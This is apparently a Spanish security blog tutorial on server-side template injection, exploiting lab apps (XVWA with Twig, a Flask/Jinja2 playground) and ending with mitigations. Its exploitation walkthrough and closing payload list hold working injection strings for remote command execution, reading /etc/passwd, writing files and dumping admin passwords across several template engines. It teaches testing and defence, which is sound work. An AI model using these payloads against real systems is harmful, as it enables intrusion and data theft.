En esta entrada, veremos como validar la seguridad de nuestra aplicación web, cuando esta hace uso de plantillas (templates) para mostrar contenido de manera dinámica. Uno de los principales ataques es la inyección a estas plantillas, lo cual podría permitir ejecutar comandos remotos en el lado del servidor, obtener información sensible, o poder tener una shell reversa, afectando todos los principios de seguridad.
Antes de comenzar a atacar, es importante que conozcamos algunos conceptos fundamentales
Un poco de historia: Del contenido estático al dinámico
El mundo de desarrollo de aplicaciones está en constante evolución. Hace muchos años atrás (en la década de los 90’s), comenzaron a aparecer tecnologías que permitían lo que hasta ese momento era un gran obstaculo: pasar de un sitio web completamente estático, a tener contenido generado de manera dinámica, que evite que el desarrollador tenga que reescribir código en múltiples archivos para diferentes tipos de petición.
Así, nacieron tecnologías como Common Gateway Interface (CGI) que permitían generar contenido dinámico a partir de la ejecución de scripts en el lado del servidos, con lenguajes como Perl, C, Bash, etc. o Server Side Includes (SSI) que resolvía los problemas de rendimiento de CGI permitiendo insertar fragmentos dinámicos (como fechas, encabezados o resultados de comandos) directamente en archivos HTML.
La aparición de lenguajes como PHP, que utilizaba lo mejor de CGI y SSI para generar contenido dinámico, le dio una mejora sustancialmente significativa a la forma de desarrollar, pero sobre todo, de entregar contenido a los usuarios. Junto con la aparición de los lenguajes, aparecieron extensiones y módulos que permitían desde validar datos hasta conexiones con bases de datos para la entrega de información en tiempo real.
El nacimiento de los motores de plantillas:
En este dinamismo evolutivo, se buscó optimizar la forma en que se construían las aplicaciones web, y con el fin de abstraer la lógica de programación del diseño visual, aparecieron los motores de plantillas («template engines»), cuya función principal es tomar una plantilla con marcadores (placeholders) y combinarlos con otros datos dinámicos para generar la respuesta que se envía al navegador. Una forma sencilla de graficar la interacción, es la siguiente:

El funcionamiento básico es de la siguiente manera. Imagina una plantilla como esta:
<h1>Bienvenido, {{ nombre }}</h1>
El motor de plantillas reemplaza {{nombre}} con un valor real, que provenga de una base de datos, de la ejecución de algún comando, o de cualquier otra lógica desarrollada, por ejemplo:
<h1>Bienvenido, Alejandro</h1>
Ahora, existen lenguajes como PHP que ya actúan como un motor de plantillas, porque se puede meclar directamente HTML con código PHP, por ejemplo:
<h1>Hola, <?php echo $nombre; ?></h1>
Sin embargo, para proyectos más grandes, se usan motores como Smarty o Twig para mantener el código más limpio y modular. Incluso algunas plantillas ya vienen con características de seguridad, como la capacidad de auto-escape, que previenen ataques de XSS al escapar las variables.
Por otro lado, lenguajes como Python, no mezclan HTML y lógica directamente. Por eso, frameworks como Flask o Django, usan motores de plantillas como Jinja2 o Mako, que permiten escribir HTML con lógica de Python, por ejemplo:
# Jinja
{% for item in lista %}
<li>{{ item }}</li>
{% endfor %}
Inyección en las plantillas
El riesgo A03 del OWASP Top 10 2021 (y que muy probablemente figure nuevamente en el OWASP Top 10 2025), es el escenario de inyección, el cual principalmente se debe a la falta de validación y/o sanitización de los datos de entrada. Este escenario no es ajeno a los motores de plantillas, de hecho, dentro del Web Security Testing Guide, existe un escenario de evaluación específico para inyeccón en plantillas: WSTG-INPV-18.
¿Cómo evaluamos si la aplicación web montada es vulnerable a este tipo de ataques?
Lo primero que debemos tener en cuenta es que este tipo de inyección se ejecutará en el lado del back-end, por lo tanto debemos identificar cual es el lenguaje de desarrollo y el motor utilizado para la gestión de plantillas. Para ello, debemos escanear la aplicación y una vez detectado el punto de entrada de datos, utilizar un payload sencillo para ver como responde la aplicación. Dependiendo del tipo de respuesta, podemos inferir el framework usado.
El siguiente diagrama puede servir como árbol lógico de decisión, las flechas verdes representan respuestas exitosas, y las rojas, respuestas fallidas. El objetivo es determinar que motor de plantillas se usa, por ejemplo, si ingresamos {{7*’7′}} devolvería 49 en Twig, y 7777777 en Jinja2:

Una vez identificado, lo siguiente es construir payloads que nos permitan obtener información y/o acceder al sistema subyacente que soporta el servicio. En este punto podemos hacer uso de los términos reservados o de las funciones propias de los diferentes motores de plantillas.
Desde luego, si queremos automatizar nuestra búsqueda de vulnerabilidades, podemos hacer uso de herramientas como TPLMAP o Backslash powered scanner (complemento para Burp Suite).
Manos a la obra: Inyección de plantillas del lado del servidor.
Para poder ver de manera práctica el ataque, haremos uso de dos entornos preparados:
- Xtreme Vulnerable Web Aplication (XVWA) : https://github.com/s4n7h0/xvwa
- SSTI Flask Hacking Playground: https://github.com/filipkarc/ssti-flask-hacking-playground
Para instalar XVWA, solo debes ejecutar los siguientes comandos (usando Docker)
sudo docker run --name xvwa -d -p 80:80 bitnetsecdave/xvwa:latest
Luego, accedemos a través de nuestro browser:

Para instalar SSTI Flask Hacking Playground, debemos ejecutar el siguiente comando:
docker run -p 8089:8089 -d filipkarc/ssti-flask-hacking-playground
Luego accedemos a través de nuestro browser:

Bien, ahora vamos a resolver nuestro primer ejercicio SSTI en XVWA. Para interceptar las peticiones y poder inyectarlas, usaremos Burp Suite.
Xtreme Vulnerable Web Aplication (XVWA)
Esta aplicación está construida en PHP y usa Twig como motor de plantillas. Accederemos a la opción http://localhost/xvwa/vulnerabilities/ssti/, y encontraremos un campo de entrada de texto:

Utilizaremos el siguiente payload {{7*7}} para ver la respuesta:

Siguiendo la lógica del árbol de decisión mostrado anteriormente, vamos a ver como se comporta si ejecutamos la misma operación matemática, pero inyectando apostrofes en uno de los dígitos para confirmar que el motor de plantillas sea Twig:

En ciertos motores, existen términos reservados que representan variables globales, que pueden ser usadas como parte de la lógica de programación. Una de ellas es _self, el cual nos permite acceder a la plantilla dentro de la propia plantilla. Así, si queremos acceder al entorno de configuración de la plantilla podemos usar _sef.env, desde el cual podemos convocar a diferentes métodos. Ten en cuenta que esto puede variar entre versiones, por lo que en Twig 2.0 podría ser diferente; sin embargo, el principio es el mismo.
Para continuar con nuestro escenario, ingresaremos el texto {{_self.env.display(«xyz»)}, para ver si podemos hacer uso de las variables y métodos como parte del input ingresado por el usuario. En este caso, solo accederemos al método display dentro de la configuración de entorno para mostrar el texto xyz. Veamos si responde:

Como podemos ver, el texto se ha reflejado. Con esto, hemos comprobado que podemos personalizar el payload haciendo uso de _self.env. Ahora, usaremos el siguiente payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

Hemos conseguido realizar una inyección!. La aplicación nos ha entregado el usuario que ha levantado el servicio. Validaremos el siguiente payload para ejecutar comandos:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("pwd")}}

Como podemos ver, nos arroja el path actual dentro del sistema de archivos. Con esto hemos ejecutado nuestro ataque de Remote Code Execution (RCE).
SSTI Flask Hacking Playground:
Esta aplicación está construida en Python, con Flask como Framework y Jinja2 como motor de plantillas. Accederemos a la página principal, y encontraremos un campo de entrada de texto:

Al ingresar un nombre, este se envía a través de GET y se refleja en la página

Vamos a seguir la lógica del árbol de decisión mostrado anteriormente, inyectando el payload {{7*’7′}}, a fin de comprobar que la aplicación usa Jinja2:

Al igual que Twig, Jinja2 también usa términos reservados como parte del framework ( en este caso Flask) que permiten acceder a los diferentes objetos que maneja la plantilla, por ejemplo:
- request: objeto que proporciona acceso a los datos de la solicitud HTTP
- config: objeto que proporciona acceso a los datos de configuración
- session: objeto de la sesión actual
- g: objeto vinculado a la solicitud para variables globales. El desarrollador suele usarlo para almacenar recursos durante una solicitud.
Asimismo, Jinja2 puede usar atributos especiales propios de Python, como por ejemplo:
__class__: atributo especial que se encuentra dentro de los objetos y que se refiere a la clase a la que pertenece ese objeto- __mro__: atributo de clase que define el orden en el que se busca un método cuando se llama a un método en un objeto
- __subclasses__: método de clase que devuelve una lista de todas las subclases directas de una clase dada
Entonces, para poder construir nuestro payload que permitirá conseguir la ejecución de comandos remotos, necesitamos entender como interactuar con los objetos y atributos. Veamos:
- Utilizaremos el atributo __class__ para ver si el servidor nos responde la clase de un objeto enviado:
Ejemplos:
''.__class__ , nos devolverá el tipo Str (String)
[].__class__ , nos devolverá el tipo List


- Lo que debemos hacer ahora, es acceder a los métodos y atributos de la clase, utilizando MRO :
{{[].__class__.__mro__[0].__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()}}


- Ahora vamos a buscar las subclases haciendo uso de __subclasses__(). Nuestro objetivo, es poder encontrar una función que permita ejecutar comandos como si estuviésemos en una terminal. En Python, esta función es subprocess.Popen. Para ello ejecutaremos el siguiente payload:
{{[].__class__.__mro__[1].__subclasses__()}}

- Para utilizarla, basta con encontrar el número de orden de la subclase, y convocarla desde nuestro payload:
{{[].__class__.__mro__[1].__subclasses__()[394]('id',shell=True,stdout=-1).communicate()[0].strip()}}

- Como podemos ver, en nuestro caso, la sub clase 394 subprocess.Popen, nos ha permitido ejecutar el comando id, devolviéndonos el identificador de usuario actual, el cual es root. Hemos conseguido así realizar un ataque de inyección sobre Jinja.
Ahora intentaremos leer un archivo interno del sistema, para ello, utilizaremos el objeto request proporcionado por el framework (Flask), para buscar todas las variables globales disponibles en el contexto de la aplicación, para ello, digitaremos el payload:
{{request.application.__globals__}}

Dentro de la respuesta, encontraremos el diccionario con las funciones y objetos integrados de python, dentro de __builtins__. Para poder abrir un archivo, necesitamos la función interna __import__ que nos servirá para importar el módulo os, el cual como sabemos, nos sirve para leer un archivo. El payload es el siguiente:
{{request.application.__globals__.__builtins__.__import__('os')}}

Como vemos, podemos importar el módulo sin problemas, por lo que a continuación, intentaremos leer el archivo /etc/passwd del sistema:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}

Y así, hemos conseguido no solo ejecutar comandos, sino leer archivos dentro del sistema que aloja la aplicación.
Si estás realizando un pentesting sobre un entorno similar, sugerimos que puedas ir insertando los payloads paso a paso y no simplemente copiar y pegar los que encuentres en internet. Lo importante para un ataque satisfactorio, es poder entender como está construida la aplicación, y que clases, subclases, módulos o funciones están disponibles para ser convocados. No siempre nos toparemos con un escenario ideal, por lo que se necesita paciencia hasta encontrar el payload adecuado.
Aquí, compartimos algunos payloads que te podrán ayudar, dependiendo del tipo de motor de plantillas que estés evaluando:
Twig
{{7*7}}
{{<svg/onload=confirm(1)>}}
{{_self.env.display("labitacora")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
Jinja
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings}}
RCE:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('codigo malicioso'') }}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Django Template
{% raw %}
{% csrf_token %}
#Información de debug:
{% raw %}
{% debug %}
{% endraw %}
#Obtención de información de usuario
{% raw %}
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
{% endraw %}
Freemaker (Java)
${7*7} = 49
${freemarkerVersion}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/user/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Tornado (Python)
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
¿Cómo podemos mitigarlo?
- Escapa y valida toda entrada del usuario
Usa validaciones estrictas (por tipo, longitud, formato) y evita interpolar directamente datos en plantillas. - Desactiva funciones peligrosas
Puedes configurar un entorno Jinja2 más seguro deshabilitando el acceso a objetos como__globals__,__builtins__, etc. - Usa un entorno de ejecución restringido
Ejecuta plantillas en un entorno aislado (sandbox) para limitar el impacto de posibles inyecciones. - Implementa Content Security Policy (CSP)
Aunque no previene SSTI directamente, ayuda a mitigar el impacto de ataques combinados como SSTI + XSS. - Audita y prueba tu aplicación
Usa herramientas como Burp Suite, OWASP ZAP o pruebas unitarias para detectar posibles vectores de SSTI. - Evita exponer objetos como
request,config,g, etc. en plantillas
Limita el contexto que pasas a las plantillas a solo lo necesario.
Si quieres continuar leyendo más sobre este ataque, puedes consultar las siguientes páginas:
- https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
- https://gosecure.github.io/template-injection-workshop/#7
- https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
- https://medium.com/@trytohackme96/exploiting-server-side-template-injection-ssti-vulnerability-in-juice-shop-application-11811c1256d2
- https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/
- https://portswigger.net/research/server-side-template-injection
- https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9
Esperamos que el artículo te haya sido de utilidad.
